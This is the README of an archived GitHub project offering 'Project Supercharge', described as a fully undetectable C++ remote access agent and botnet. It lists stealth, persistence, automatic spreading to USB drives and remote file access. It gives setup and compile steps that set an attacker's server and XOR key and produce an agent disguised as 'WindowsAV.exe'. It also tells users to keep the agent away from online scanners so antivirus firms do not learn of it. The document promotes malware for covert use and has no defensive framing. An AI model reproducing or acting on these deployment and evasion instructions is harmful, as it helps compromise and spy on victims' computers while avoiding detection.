Skip to content
This repository was archived by the owner on Mar 23, 2020. It is now read-only.

Repository files navigation

Project Supercharge

NOTE

Do not by any means upload the Agent to online Scanners. Why? Because even if one of the engines finds the file suspicious, the service shares the result among all AV companies, allowing cyber-security firms insight on new types of malware that their engines are not currently detecting. Read here.

scan_nodistribute


Project supercharge is a Remote Access Agent. The supercharge agent is mainly created to provide remote access to a Computer with Stealth and Persistence.



Project Supercharge Features

FeatureDetail
System InformationView System Information.
PersistenceAutomatically add itself to Startup when first run.
StealthAutomatically hide itself to a Location when first run.
SpreadingIf supercharge agent is running and a USB/CD is inserted, The agent will copy itself over into it.
Message BoxDisplay a message box.
Encrypted ConnectionYour communication is encrypted with a key of your choice.
Password ProtectionEven though it's encrypted, It will authenticate with a Password hardcoded in the Agent.
Offline Bot Databasesupercharge comes with an Offline Web App you can use to easily view all Agents that ever Connected and when.
Fully UndetectableThe Agent is fully undetectable.
File Upload/DownloadDownload and upload files.
ExploreMove around and view files.

Installing

Prerequisites

(NOTE : These are installed by setup script)

  • Mingw cross Compiler
  • Python 3
$ git clone https://github.com/quantumcore/supercharge
$ cd supercharge
$ sudo ./install.sh

Note : It can run on Windows, But I recommened a Linux Based OS. (Server side)


Deployment

  1. Go to supercharge/agent and open file supercharge.hpp EG:
nano supercharge.hpp
  1. Edit the Line SERVER_HOST and SERVER_PORT and the PASSWORD. EG:
#define PASSWORD "mysecretpassword" #define SERVER_HOST "127.0.0.1"#define SERVER_PORT 3982 

Make sure the password is the same you define in supercharge.ini. (Server side)

  1. Go to supercharge/agent and openfile xor.cpp EG:
nano xor.cpp

4 Edit line (4) which contains the Encryption key. For Example.

std::string XOR(std::string data) {
// Encryption KEY BELOWchar key[] = {'M','Y','K','E','Y'};
// DONT FORGET TO SET !
std::string output = data;
for (int i = 0; i < data.size(); i++){
output[i] = data[i] ^ key[i % (sizeof(key) / sizeof(char))];
}
return output;
}
  1. Compile the Agent On Windows
make

On Linux

make linux

This will generate the Supercharge agent named WindowsAV.exe with an ICON.

Server Side Settings

  1. Setting the Encryption key. Open file kernel/infodb.py in your text editor and edit line 31 to your encryption key. It can be anything. For Example.
$ cd supercharge
$ nano kernel/infodb.py
defxor(data):
# Encryption KEY! EDIT ME !key= ['M','Y','K','E','Y']
# Encryption key ABOVE!output= []
foriinrange(len(data)):
xor_num=ord(data[i]) ^ord(key[i%len(key)])
output.append(chr(xor_num))
return''.join(output)
  1. Setting the Password. Open file supercharge.ini and you can just simply change the values.

Bugs

Fixed

  • Broken Connection Problems. ✔️
  • Password Authentication buffer overflow. ✔️
  • Remove wchar_t functions (Old code) ✔️
  • File Execution bug. ✔️
  • File Download byte bug. ✔️
  • Windows 10 detected as Windows 8. (Thanks to @dannyvsdev) ✔️
  • WAN IP Bug.

Contribute

If you would like to help me! Please do so! Also, I do not use branches because I always end up pushing to master. So, I always create another repositroy (private) for developement. So if you would like to help me, Contact me.

Thank you for bug reporting

TODO :

  • File sorting in the remote file listing. ✔️
  • Imrpovement of the file upload function. ✔️
  • Console Updates. ✔️

Contact

Screenshot

sample

About

Fully Undetectable Native C++ Remote Access Agent / Botnet.

Topics

Resources

Stars

93 stars

Watchers

1 watching

Forks

Releases

Packages

Used by

Contributors

Languages